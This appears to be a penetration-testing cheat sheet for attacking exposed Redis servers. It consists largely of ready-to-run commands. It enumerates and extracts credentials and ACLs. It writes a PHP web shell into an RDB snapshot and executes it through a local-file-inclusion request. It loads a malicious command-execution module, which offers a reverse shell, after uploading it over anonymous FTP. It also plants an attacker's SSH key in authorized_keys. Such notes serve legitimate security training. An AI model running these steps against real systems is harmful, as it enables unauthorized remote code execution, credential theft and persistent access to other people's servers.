PRIMARY CATEGORY → PROTOCOLS AND SERVICES

Theory

Redis is an in-memory data store that listens on TCP port 6379 by default.

A default Redis user may be configured with nopass and full command access. However, modern default deployments also enable protected mode and normally bind Redis to loopback interfaces.

Therefore, remote access without credentials usually indicates that the service has been deliberately exposed, protected mode has been disabled or the connection originates from an allowed interface.


Remote Connection

Redis-cli

Redis CLI

Setup
sudo apt update
sudo apt install -y redis-tools
Usage
redis-cli -h '<TARGET>' -p <PORT>
Unauthenticated Access
redis-cli -h '<TARGET>' -p <PORT> PING

For Redis 6 or later, identify the current ACL user:

redis-cli -h '<TARGET>' -p <PORT> ACL WHOAMI
Password Authentication
redis-cli -h '<TARGET>' -p <PORT> --user '<USERNAME>' --askpass

For legacy password-only authentication:

redis-cli -h '<TARGET>' -p <PORT> --askpass

Enumeration

General Information
redis-cli -h '<TARGET>' -p <PORT> INFO
redis-cli -h '<TARGET>' -p <PORT> INFO server
redis-cli -h '<TARGET>' -p <PORT> CONFIG GET '*'

The INFO server output identifies the REDIS version, operating system, architecture, process ID and configuration-file path.

Authentication and ACLs
redis-cli -h '<TARGET>' -p <PORT> ACL WHOAMI
redis-cli -h '<TARGET>' -p <PORT> ACL LIST
redis-cli -h '<TARGET>' -p <PORT> CONFIG GET requirepass

The default ACL user may appear as follows:

redis-cli -h '<TARGET>' -p <PORT> ACL GETUSER default
Keyspaces
Listing the available databases
redis-cli -h '<TARGET>' -p <PORT> INFO keyspace
Enumerating a database’s keys
redis-cli -h '<TARGET>' -p <PORT>
SELECT <DATABASE_INDEX>
SCAN 0 COUNT 100
Inspecting a specific key
TYPE '<KEY>'
GET '<KEY>'
LRANGE '<KEY>' 0 -1
HGETALL '<KEY>'
SMEMBERS '<KEY>'
ZRANGE '<KEY>' 0 -1 WITHSCORES

Sensitive Information

The active configuration may reveal paths, credentials, persistence settings and ACL files:

redis-cli -h '<TARGET>' -p <PORT> CONFIG GET requirepass
redis-cli -h '<TARGET>' -p <PORT> CONFIG GET aclfile
redis-cli -h '<TARGET>' -p <PORT> CONFIG GET dir
redis-cli -h '<TARGET>' -p <PORT> CONFIG GET dbfilename

The configuration-file path can normally be extracted from the server information:

redis-cli -h '<TARGET>' -p <PORT> INFO server | grep '^config_file:'

Once local file-read access has been obtained, inspect the configuration and ACL files:

cat <REDIS_CONFIGURATION_FILE>
cat <ACL_FILE>

For Redis 6 or later, named users and their permissions may be defined through ACL rules.

The legacy requirepass directive configures password-only authentication through the default user.


RDB File Write + LFI

Workflow

Redis can persist its current dataset as a binary RDB snapshot using the SAVE command.

The snapshot is written to the directory and filename configured through the dir and dbfilename parameters.

Therefore, if these parameters can be modified, an attacker can store PHP code inside a Redis key and force Redis to write an RDB file to a directory controlled or readable by the web application.

The resulting resource is not a clean PHP script. It is a binary RDB file containing the payload as part of the serialized Redis dataset.

However, if a PHP application includes this resource using include or require, the interpreter processes any code enclosed within valid <?php ?> tags. The remaining RDB data is treated as content outside the PHP tags.

This creates the following attack chain:

  • Access the Redis instance

  • Store a PHP payload inside a Redis key

  • Write the Redis dataset to a location accessible to the web application

  • Include the resulting RDB file through the LFI

  • Execute commands as the operating-system user running PHP

If Redis can write directly inside the application’s DocumentRoot, the resulting file may instead be requested directly and the LFI is unnecessary.

Requirements
  • Unauthenticated Redis access or valid Redis credentials

  • Permission to execute CONFIG GET, CONFIG SET, SET and SAVE

  • Permission to modify the protected dir and dbfilename configuration parameters

  • A directory writable by the operating-system user running Redis

  • The resulting RDB file must be readable from the filesystem namespace used by the web application

  • An LFI reaching a PHP include or require operation rather than a read-only function

  • The PHP command-execution function used by the payload must be enabled

Modern or hardened Redis configurations may prevent runtime changes to dir and dbfilename or deny the required commands through ACL rules.

Abuse
Accessing the Redis Instance
redis-cli -h <TARGET> --askpass
Creating the PHP script
$> config set dir '/dev/shm'
$> config set dbfilename pwn.php
$> set test '<?php system($_GET[0]); ?>'
$> save

In this case, the created file does not necessarily have to end with .php, the only important thing is its content

Gaining RCE through the LFI
curl --silent --location --request GET --get --data-urlencode '0=<COMMAND>' 'http://<TARGET>:<PORT>/random.php?file=/dev/shm/pwn.php'

Malicious Module Loading

Workflow

Redis supports native modules from version 4.0 onwards

The MODULE LOAD command loads and initializes a shared library from an absolute path on the Redis server.

If an attacker can place a malicious shared library on the target and invoke MODULE LOAD, the library is loaded inside the Redis process and can register new Redis commands.

Those commands execute with the privileges of the operating-system user running redis-server.

Access to an anonymous writable FTP service can provide the file-write primitive required to place the module on the Redis server.

The resulting attack chain is:

  • Unauthenticated or otherwise authorized access to Redis

  • Permission to execute MODULE LOAD

  • Anonymous write access to an FTP directory located on the Redis server

  • Knowledge of the absolute server-side path corresponding to the FTP upload directory

  • A malicious module compatible with the target architecture and runtime environment

Uploading the module through FTP does not execute it. Redis must subsequently load the shared library using its absolute server-side path.

Requirements
  • Redis 4.0 or later with module support

  • The MODULE command must exist and MODULE LOAD must be permitted

  • The connected ACL user must be allowed to execute the command

  • The module file must exist on the Redis server

  • The Redis operating-system user must be able to traverse the directories and read the module

  • The filesystem must permit the shared library to be mapped as executable code

  • The module architecture and dependencies must be compatible with the target

Enumeration

Check the Redis version and architecture:

redis-cli -h '<TARGET>' -p <PORT> INFO server

Check the effective Redis user when command execution or local access is already available:

ps aux | grep '[r]edis-server'

Check module functionality:

redis-cli -h '<TARGET>' -p <PORT> MODULE LIST
redis-cli -h '<TARGET>' -p <PORT> COMMAND INFO MODULE
redis-cli -h '<TARGET>' -p <PORT> CONFIG GET enable-module-command

Attempting to load the module is the definitive check. The operation will fail if the command is disabled, denied by ACLs or supplied with an invalid path.

Building the Malicious Module

From the attacker ⚔️

Install the compilation requirements:

sudo apt update
sudo apt install -y git make gcc

Clone and compile RedisModules-ExecuteCommand:

git clone 'https://github.com/n0b0dyCN/RedisModules-ExecuteCommand' RedisModules-ExecuteCommand
cd !$ && make

The compilation creates module.so in the repository root.

Inspect the resulting shared library:

file module.so
ldd module.so

The architecture must match the Redis server. For example, an x86-64 module cannot be loaded into an ARM or 32-bit Redis process.

Uploading the Module through FTP

From the attacker ⚔️

Connect to the anonymous FTP service:

ftp '<TARGET>'

Authenticate anonymously and enable binary transfers:

anonymous
anonymous@
binary

Move to the writable directory and upload the module:

cd <WRITABLE_FTP_DIRECTORY>
put module.so
ls

Binary transfer mode prevents the shared library from being altered during the upload.

The path exposed inside the FTP session may be relative to an FTP chroot and differ from the absolute server path required by Redis.

For example:

FTP path:          /pub/module.so
Server path:       /var/ftp/pub/module.so

Redis must receive the second path.

Loading the Module

From the attacker ⚔️

Load the module using its absolute server-side path:

redis-cli -h '<TARGET>' -p <PORT> MODULE LOAD '/var/ftp/pub/module.so'

Verify that the module was loaded:

redis-cli -h '<TARGET>' -p <PORT> MODULE LIST

The module registers the following commands:

  • system.exec — Executes an operating-system command and returns its standard output

  • system.rev — Establishes a reverse shell using /bin/sh

Command Execution

Execute id through the newly registered command:

redis-cli -h '<TARGET>' -p <PORT> system.exec 'id'

The command executes as the operating-system user running Redis. An exposed Redis instance does not imply command execution as ROOT.


SSH Authorized Keys

Redis persistence can sometimes be abused to write an SSH public key into the home directory of the Redis operating-system user.

Requirements
  • Permission to execute CONFIG SET, SET and SAVE

  • Permission to modify the protected dir and dbfilename settings

  • Write permissions from the Redis process over the target .ssh directory

  • An SSH service accepting public-key authentication

  • A Redis operating-system account that can log in through SSH

Recent or hardened Redis configurations normally prevent runtime changes to protected file-writing directives.

Generating an SSH Key Pair

From the attacker ⚔️

ssh-keygen -t ed25519 -f redis -N ''
Preparing the Public Key
printf '\n\n%s\n\n' "$(cat redis.pub)" > authorized_keys.txt
Importing the Public Key into Redis
cat authorized_keys.txt | redis-cli -h '<TARGET>' -p <PORT> -x SET ssh_key
Changing the Persistence Path
redis-cli -h '<TARGET>' -p <PORT> CONFIG SET dir '/var/lib/redis/.ssh'
redis-cli -h '<TARGET>' -p <PORT> CONFIG SET dbfilename 'authorized_keys'
Writing the RDB File
redis-cli -h '<TARGET>' -p <PORT> SAVE

The resulting file is an RDB database rather than a clean text file. The added blank lines may allow OpenSSH to identify the embedded public-key line, but this technique depends on the target OpenSSH parser and Redis configuration.

SSH Authentication
chmod 600 redis
ssh -i redis redis@'<TARGET>'

This method overwrites the configured RDB destination and may affect Redis persistence.


Resources

RedisModules-ExecuteCommand

OSCP Notes - Redis Cheat Sheet